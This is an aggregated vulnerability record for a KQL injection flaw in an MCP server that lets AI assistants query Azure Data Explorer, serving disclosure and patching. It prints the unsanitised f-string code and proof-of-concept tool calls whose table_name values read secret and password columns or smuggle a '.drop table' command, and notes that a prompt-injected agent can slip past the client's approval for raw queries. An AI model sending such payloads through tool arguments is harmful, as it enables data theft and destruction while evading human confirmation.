{"id":"CVE-2026-33980","aliases":["CVE-2026-33980","GHSA-vphc-468g-8rfp","PYSEC-2026-2327"],"related":[],"kind":"vulnerability","state":"published","title":"Azure Data Explorer MCP Server: KQL Injection in multiple tools allows MCP client to execute arbitrary Kusto queries","summary":"Azure Data Explorer MCP Server is a Model Context Protocol (MCP) server that enables AI assistants to execute KQL queries and explore Azure Data Explorer (ADX/Kusto) databases through standardized interfaces. Versions up to and including 0.1.1 contain KQL (Kusto Query Language) injection vulnerabilities in three MCP tool handlers: `get_table_schema`, `sample_table_data`, and `get_table_details`. The `table_name` parameter is interpolated directly into KQL queries via f-strings without any validation or sanitization, allowing an attacker (or a prompt-injected AI agent) to execute arbitrary KQL queries against the Azure Data Explorer cluster. Commit 0abe0ee55279e111281076393e5e966335fffd30 patches the issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Azure Data Explorer MCP Server is a Model Context Protocol (MCP) server that enables AI assistants to execute KQL queries and explore Azure Data Explorer (ADX/Kusto) databases through standardized interfaces. Versions up to and including 0.1.1 contain KQL (Kusto Query Language) injection vulnerabilities in three MCP tool handlers: `get_table_schema`, `sample_table_data`, and `get_table_details`. The `table_name` parameter is interpolated directly into KQL queries via f-strings without any validation or sanitization, allowing an attacker (or a prompt-injected AI agent) to execute arbitrary KQL queries against the Azure Data Explorer cluster. Commit 0abe0ee55279e111281076393e5e966335fffd30 patches the issue.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nadx-mcp-server (<= latest, commit 48b2933) contains KQL (Kusto Query Language) injection vulnerabilities in three MCP tool handlers: `get_table_schema`, `sample_table_data`, and `get_table_details`. The `table_name` parameter is interpolated directly into KQL queries via f-strings without any validation or sanitization, allowing an attacker (or a prompt-injected AI agent) to execute arbitrary KQL queries against the Azure Data Explorer cluster.\n\n### Details\n\nThe MCP tools construct KQL queries by directly embedding the `table_name` parameter into query strings:\n\n**Vulnerable code** ([permalink](https://github.com/pab1it0/adx-mcp-server/blob/48b2933/src/adx_mcp_server/server.py#L228)):\n\n```python\n@mcp.tool(...)\nasync def get_table_schema(table_name: str) -> List[Dict[str, Any]]:\n    client = get_kusto_client()\n    query = f\"{table_name} | getschema\"          # <-- KQL injection\n    result_set = client.execute(config.database, query)\n```\n\n```python\n@mcp.tool(...)\nasync def sample_table_data(table_name: str, sample_size: int = 10) -> List[Dict[str, Any]]:\n    client = get_kusto_client()\n    query = f\"{table_name} | sample {sample_size}\"  # <-- KQL injection\n    result_set = client.execute(config.database, query)\n```\n\n```python\n@mcp.tool(...)\nasync def get_table_details(table_name: str) -> List[Dict[str, Any]]:\n    client = get_kusto_client()\n    query = f\".show table {table_name} details\"     # <-- KQL injection\n    result_set = client.execute(config.database, query)\n```\n\nKQL allows chaining query operators with `|` and executing management commands prefixed with `.`. An attacker can inject:\n- `sensitive_table | project Secret, Password | take 100 //` to read arbitrary tables\n- Newline-separated management commands like `.drop table important_data` via `get_table_details`\n- Arbitrary KQL analytics queries via any of the three tools\n\n**Note:** While the server also has an `execute_query` tool that accepts raw KQL by design, the three vulnerable tools are presented as safe metadata-inspection tools. MCP clients may grant automatic access to \"safe\" tools while requiring confirmation for `execute_query`. The injection bypasses this trust boundary.\n\n### PoC\n\n```python\n# PoC: KQL Injection via get_table_schema tool\n# The table_name parameter is injected into: f\"{table_name} | getschema\"\n\nimport json\n\n# MCP tool call that exfiltrates data from a sensitive table\ntool_call = {\n    \"name\": \"get_table_schema\",\n    \"arguments\": {\n        \"table_name\": \"sensitive_data | project Secret, Password | take 100 //\"\n    }\n}\nprint(json.dumps(tool_call, indent=2))\n\n# Resulting KQL: \"sensitive_data | project Secret, Password | take 100 // | getschema\"\n# The // comments out \"| getschema\", executing an arbitrary data query instead\n\n# Destructive example via get_table_details:\ntool_call_destructive = {\n    \"name\": \"get_table_details\",\n    \"arguments\": {\n        \"table_name\": \"users details\\n.drop table critical_data\"\n    }\n}\n# Resulting KQL:\n#   .show table users details\n#   .drop table critical_data details\n```","format":"markdown","source":"ghsa"},{"lang":"es","text":"El servidor MCP de Azure Data Explorer es un servidor de Protocolo de Contexto de Modelo (MCP) que permite a los asistentes de IA ejecutar consultas KQL y explorar bases de datos de Azure Data Explorer (ADX/Kusto) a través de interfaces estandarizadas. Las versiones hasta la 0.1.1 inclusive contienen vulnerabilidades de inyección de KQL (Kusto Query Language) en tres manejadores de herramientas MCP: ’get_table_schema’, ’sample_table_data’ y ’get_table_details’. El parámetro ’table_name’ se interpola directamente en las consultas KQL a través de f-strings sin ninguna validación o saneamiento, permitiendo a un atacante (o un agente de IA inyectado por prompt) ejecutar consultas KQL arbitrarias contra el clúster de Azure Data Explorer. El commit 0abe0ee55279e111281076393e5e966335fffd30 soluciona el problema.","source":"nvd"}],"published":"2026-03-27T19:08:09.000Z","modified":"2026-10-26T21:10:00.170Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","score":8.3,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","score":8.3,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","score":8.3,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","score":8.1,"rating":"HIGH"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","score":8.3,"rating":"HIGH"}],"cwes":["CWE-943"],"affected":[{"ranges":[{"version":"<= 1.1.0","status":"affected"}],"vendor":"pab1it0","product":"adx-mcp-server","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","lastAffected":"1.1.0"}],"ecosystem":"PyPI","package":"adx-mcp-server","purl":"pkg:pypi/adx-mcp-server","source":"ghsa"},{"ranges":[{"status":"affected","lastAffected":"0.1.0"}],"vendor":"pab1it0","product":"azure_data_explorer_mcp_server","cpe":"cpe:2.3:a:pab1it0:azure_data_explorer_mcp_server:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","lastAffected":"1.1.0"}],"ecosystem":"PyPI","package":"adx-mcp-server","purl":"pkg:pypi/adx-mcp-server","source":"pysec"}],"references":[{"url":"https://github.com/pab1it0/adx-mcp-server/security/advisories/GHSA-vphc-468g-8rfp","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/pab1it0/adx-mcp-server/commit/0abe0ee55279e111281076393e5e966335fffd30","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33980","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/pab1it0/adx-mcp-server","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/adx-mcp-server","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-vphc-468g-8rfp","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-03-27T21:55:57.812Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-33980","url":"https://www.cve.org/CVERecord?id=CVE-2026-33980","licence":"CVE Terms of Use","modified":"2026-03-27T21:56:16.579Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-vphc-468g-8rfp","url":"https://github.com/advisories/GHSA-vphc-468g-8rfp","licence":"CC-BY-4.0","modified":"2026-07-13T16:43:43.352Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-33980","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33980","licence":"Public domain","modified":"2026-10-26T21:10:00.170Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-2327","url":"https://osv.dev/vulnerability/PYSEC-2026-2327","licence":"CC-BY-4.0","modified":"2026-07-13T16:31:37.757Z"}],"updatedAt":"2026-11-25T22:59:17.456Z","epss":{"score":0.00499,"percentile":0.35757,"date":"2026-11-30T12:00:22.000Z"}}